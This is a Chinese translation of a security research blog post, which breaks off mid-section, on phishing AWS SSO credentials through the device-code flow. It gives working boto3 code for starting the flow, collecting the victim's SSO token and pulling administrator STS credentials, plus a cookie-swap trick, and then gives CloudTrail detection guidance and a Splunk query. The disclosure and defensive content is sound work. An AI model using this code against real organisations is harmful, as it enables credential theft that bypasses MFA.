利用AWS SSO设备代码认证进行钓鱼攻击获取凭证(2024年更新)
在企业环境中使用AWS时,最佳实践是使用单点登录服务进行身份和访问管理。AWS SSO(现称为“Identity Center”)是一个流行的解决方案,可与Okta等第三方提供商集成,并允许集中管理多个AWS账户中的角色和权限。
在本文中,我们证明AWS SSO在设计上容易受到设备代码认证钓鱼攻击——就像任何实现OpenID Connect设备代码认证的身份提供商一样。该技术最初由Dr. Nestori Syynimaa为Azure AD演示。该功能为攻击者提供了强大的钓鱼向量,使MFA(包括Yubikeys)或IP白名单等控制在IdP级别无效。
本文的更改:
- 2024年11月28日:确保附录中列出的CloudTrail事件仍然正确;更新术语以提及AWS SSO现在命名为AWS Identity Center;添加说明CloudTrail事件’sso:ListApplications’似乎不再记录受害者IP;添加对CloudTrail事件’sso:GetRoleCredentials’的缺失引用。
背景
AWS SSO
AWS SSO是AWS提供的服务,用于管理多个AWS账户的角色和身份。引用文档:
使用AWS SSO,您可以轻松集中管理对AWS Organizations中所有账户的访问和用户权限。AWS SSO自动配置和维护账户的所有必要权限,无需在单个账户中进行额外设置。您可以根据常见工作职能分配用户权限,并自定义这些权限以满足特定的安全要求。
AWS SSO中的身份来自AWS SSO身份存储本身。用户和组可以通过以下3种方式进入此身份存储:
- 手动添加到AWS SSO身份存储本身。在这种情况下,它们直接在AWS SSO中创建,AWS SSO充当IdP。(凭证和密码重置流程也由AWS SSO处理。)
- 从Active Directory同步到AWS SSO身份存储(单向同步)。
- 从任何支持SAML的第三方身份提供商(如Okta)同步。如果身份提供商支持SCIM,用户和组也可以自动同步到AWS SSO身份存储(单向同步)。
设置身份提供商后,您可以开始在各种账户中为用户和组分配权限集。
从CLI使用AWS SSO
工程师面对AWS时会问的第一个问题是:如何从CLI使用它?作为安全人员,我们的重点通常是避免使用IAM用户,因为其凭证是长期有效的,并且难以安全管理。
这就是为什么AWS SSO实现了部分OAuth 2.0规范——刚好足以从CLI使用它:
AWS SSO OpenID Connect (OIDC)服务目前仅实现OAuth 2.0设备授权授予标准(https://tools.ietf.org/html/rfc8628)中启用AWS CLI SSO认证所需的部分。对其他OIDC流(如授权代码流+ PKCE)的支持将在未来版本中解决。
https://docs.aws.amazon.com/singlesignon/latest/OIDCAPIReference/Welcome.html
在AWS CLI或aws-vault等工具中本地支持从命令行使用AWS SSO:
1
2
3
4
5
6
7
8
9
|
$ aws configure sso
SSO start URL [None]: https://my-sso-portal.awsapps.com/start
SSO region [None]: us-east-1
使用浏览器打开以下URL:
https://device.sso.eu-central-1.amazonaws.com/
并输入以下代码:
QCFK-N451
|
在此初始认证流程后,您将看到您可以访问的AWS账户列表和可用的角色。
设备代码授予类型
底层发生以下情况:
- 客户端应用程序(AWS CLI)通过调用sso-oidc:RegisterClient注册OIDC客户端。它不需要认证即可执行此操作。
- 客户端应用程序调用sso-oidc:StartDeviceAuthorization。这会生成一个类似https://device.sso.eu-central-1.amazonaws.com/?user_code=SPNB-NVKN的URL。
- 最终用户打开链接并被重定向到其身份提供商进行认证。如果日常使用AWS,他们可能已经登录并透明地重定向到下一步。
- 最终用户打开此URL并看到以下提示:
一旦最终用户接受提示,客户端应用程序调用sso-oidc:CreateToken以检索AWS SSO访问令牌。
使用此访问令牌,客户端应用程序可以使用AWS SSO API,特别是:
- 列出最终用户有权访问的所有AWS账户(sso:ListAccounts)
- 列出最终用户在每个AWS账户中可用的所有角色(sso:ListAccountRoles)
- 承担任何这些角色以检索临时STS凭证(sso:GetRoleCredentials)
使用AWS SSO设备代码进行钓鱼攻击
您可能已经想到;这是一个很好的钓鱼向量。除了使用合法的AWS网站外,它还使所有企业级安全机制(如多因素认证、设备信任等)无效。
让我们展开场景。
步骤0:先决条件
攻击者需要提前知道受害者组织的AWS SSO URL,其格式为.awsapps.com。这可以通过社会工程、猜测、子域发现等找到。
这对攻击者来说并不难。许多组织只使用其名称。在awsapps.com上运行sublist3r已经产生数百个结果。
考虑到受害者特定的AWS SSO URL,攻击者可以轻松确定AWS SSO配置在哪个区域(下一步需要):
1
2
|
$ curl https://victim.awsapps.com/start/ -s | grep 'meta name="region"'
<meta name="region" content="us-east-1"/>
|
步骤1:攻击者启动设备代码授权流程
使用Python的示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
REGION = 'us-east-1'
AWS_SSO_START_URL = 'https://xxx.awsapps.com/start'
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'my-attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
|
步骤2:攻击者将设备授权URL发送给受害者
例如,通过钓鱼。受害者由其通常的身份提供商(如Okta)认证。通过所有身份提供商特定的检查(MFA、设备信任等)后,他们只需要接受以下提示:
步骤3:攻击者检索SSO访问令牌
一旦受害者接受提示,攻击者使用sso-oidc:CreateToken检索SSO访问令牌:
1
2
3
4
5
6
7
|
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
|
此处检索的SSO访问令牌有效期为8小时。有足够的时间根据需要执行和重复下一步骤。
步骤4:攻击者使用SSO访问令牌访问AWS账户
凭借受害者的SSO访问令牌,攻击者枚举受害者有权访问的AWS账户以及可用的角色。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
aws_accounts = sso.list_accounts(accessToken=sso_token)
[
{
"accountId": "11xxxxxxxx",
"accountName": "Dev account",
"emailAddress": "dev@example.com"
},
{
"accountId": "54xxxxxxx",
"accountName": "Prod account",
"emailAddress": "prod@example.com"
}
]
|
然后,列出特定账户中可用的AWS SSO角色(“权限集”):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
roles_response = sso.list_account_roles(
accessToken=sso_token,
accountId="11xxxxxxxx"
)
[
{
"roleName": "AdministratorAccess",
"accountId": "11xxxxxxxxxx"
},
{
"roleName": "ViewOnlyAccess",
"accountId": "11xxxxxxxxxx"
}
]
|
最后,检索特定AWS账户中特定权限集的STS凭证:
1
2
3
4
5
6
7
8
9
10
11
|
sts_creds = sso.get_role_credentials(
accessToken=sso_token,
roleName='AdministratorAccess',
accountId='11...'
)
{
"accessKeyId": "ASIARW4JVWBODWMM5TMN",
"secretAccessKey": "Ocq..m1T",
"sessionToken": "IQoJb3..VTNA==",
"expiration": 1622567348000
}
|
1
2
3
4
5
6
7
8
9
10
|
$ export AWS_ACCESS_KEY_ID=ASIARW4JVWBODWMM5TMN
$ export AWS_SECRET_ACCESS_KEY=Ocq..m1T
$ export AWS_SESSION_TOKEN=IQoJb3..VTNA==
$ aws sts get-caller-identity
{
"UserId": "AROAR...:christophetd",
"Account": "11xxxxxxxxxx",
"Arn": "arn:aws:sts::11xxxxxxxxxx:assumed-role/AWSReservedSSO_AdministratorAccess_e3db84cb28e132d6/christophetd"
}
|
或者,对于喜欢使用GUI的懒惰攻击者,只需:
- 打开您自己的AWS SSO页面(例如attacker.awsapps.com/start)
- 在浏览器中,将cookie中的x-amz-sso_authn替换为受害者的SSO令牌
- 刷新页面
…您最终会得到受害者的AWS账户列表,您可以从GUI很好地访问。
没有工具的博客文章算什么?
我发布了一个小型Python工具来测试概念:
https://github.com/christophetd/aws-sso-device-code-authentication
请注意,此工具并不完全有用,因为您可以使用aws configure sso实现相同的目的。但至少,它具有教育意义,并且不会弄乱您当前的AWS CLI配置!
检测与预防
预防
这是一个功能,而不是错误。如果您使用AWS SSO,则无法防止此类钓鱼攻击。也无法使用SCP限制对sso-oidc:CreateToken的调用到某些条件,因为此API调用是针对组织主账户执行的(不受SCP约束)。
攻击每个步骤的CloudTrail事件
在检测方面,对sso-oidc:RegisterClient和sso-oidc:StartDeviceAuthorization的初始调用未记录到CloudTrail,因为它们是在没有认证的情况下执行的,并且不是针对组织的特定AWS账户。但CloudTrail确实提供了一些信息。
首先,sso:ListApplications在受害者显示“Sign-in to AWS CLI”弹出窗口时记录。
注意:截至2024年11月28日,此事件似乎不一定总是记录。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<victim display name>"
},
"eventTime": "...",
"eventSource": "sso.amazonaws.com",
"eventName": "ListApplications",
"sourceIPAddress": "<Victim source IP>",
"userAgent": "<Victim browser user agent>"
}
|
然后,一旦受害者接受提示并且攻击者检索受害者的AWS SSO访问令牌,就会生成sso-oidc:CreateToken:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<victim display name>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "CreateToken",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"requestParameters": {
"clientId": "...",
"clientSecret": "HIDDEN_DUE_TO_SECURITY_REASONS",
"grantType": "urn:ietf:params:oauth:grant-type:device_code",
"deviceCode": "..."
},
"responseElements": {
"accessToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
"tokenType": "Bearer",
"expiresIn": 28800,
"refreshToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
"idToken": "HIDDEN_DUE_TO_SECURITY_REASONS"
},
"recipientAccountId": "<organization master account ID>"
}
|
最后,当攻击者通过AWS SSO枚举受害者有权访问的AWS账户时,会记录sso:ListAccounts和sso:ListAccountRoles:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<Victim e-mail>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "ListAccountRoles",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"recipientAccountId": "<organization master account ID>",
"serviceEventDetails": {
"account_id": "<enumerated child account ID>"
}
}
|
然后,当攻击者为特定AWS账户和SSO权限集生成AWS凭证时,会记录sso:GetRoleCredentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
{
"eventVersion": "1.10",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<Victim e-mail>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "GetRoleCredentials",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"recipientAccountId": "<organization master account ID>",
"serviceEventDetails": {
"account_id": "<child account ID>",
"role_name": "<SSO permission set name>"
}
}
|
总结:
攻击步骤 |
CloudTrail事件 |
源IP |
说明 |
攻击者生成设备代码URL |
无 |
N/A |
|
受害者显示“Sign-in with AWS CLI”提示 |
sso:ListApplications |
受害者IP |
截至2024年11月28日,此事件似乎不一定总是记录。 |
受害者提交“Sign-in with AWS CLI”提示 |
无 |
N/A |
|
攻击者检索受害者的AWS SSO访问令牌 |
sso-oidc:CreateToken |
攻击者IP |
虽然’CreateToken’是SSO OIDC API的一部分,但它在CloudTrail中以sso.amazonaws.com的eventSource记录。 |
攻击者枚举受害者的AWS账户和角色 |
sso:ListAccounts sso:ListAccountRoles |
攻击者IP |
|
攻击者检索特定账户和权限集的AWS凭证 |
sso:GetRoleCredentials |
攻击者IP |
|
检测策略
以下是一些检测/伪预防的线索。
在电子邮件网关上阻止和警报device.sso..amazonaws.com链接
设备认证链接预计在本地生成。电子邮件中指向device.sso..amazonaws.com域的链接应被视为高度可疑并进行调查。
当不同源IP在短时间内生成sso:ListApplications和sso-oidc:CreateToken事件时警报
同样,由于设备代码预计在本地使用,有两个不同的IP地址显示“Sign-in with AWS CLI prompt”(受害者)和生成AWS SSO访问令牌(攻击者)是可疑的,应该是一个可行的检测策略。使用Splunk和10分钟的时间间隔:
1
2
3
4
5
6
7
8
9
10
11
|
sourcetype=aws:cloudtrail eventSource=sso.amazonaws.com
| search eventName=ListApplications OR (eventName=CreateToken requestParameters.grantType="urn:ietf:params:oauth:grant-type:device_code")
| bucket _time span=10m
| stats
values(sourceIPAddress) as sourceIps,
values(userAgent) as userAgents,
first(userIdentity.userName) as userNames,
distinct_count(sourceIPAddress) as numIps
by userIdentity.principalId, _time
| where numIps >= 2
| table userNames, _time, sourceIps, userAgents
|
(注意我们按principalId而不是userName聚合,因为用户名在sso:ListApplications中是受害者的电子邮件,而在sso-oidc:CreateToken中是他们的显示名称。)
对于其他调整,请考虑:
- 从CreateToken事件搜索中排除受信任的IP地址
- 添加过滤以仅匹配具有2个不同用户代理的情况
当特定用户的sso:ListAccountRoles事件量异常高时警报
AWS SSO的正常使用(即通过UI或CLI)似乎生成很少的sso:ListAccountRoles事件。这些事件数量的突然增加表明有人使用非标准方式枚举特定用户的所有AWS SSO权限,应被视为高度可疑。“正常”流(例如从AWS SSO门户Web应用程序)似乎使用内部端点(portal.sso..amazonaws.com/instance/appinstances)。
对sso-oidc:CreateToken事件的异常源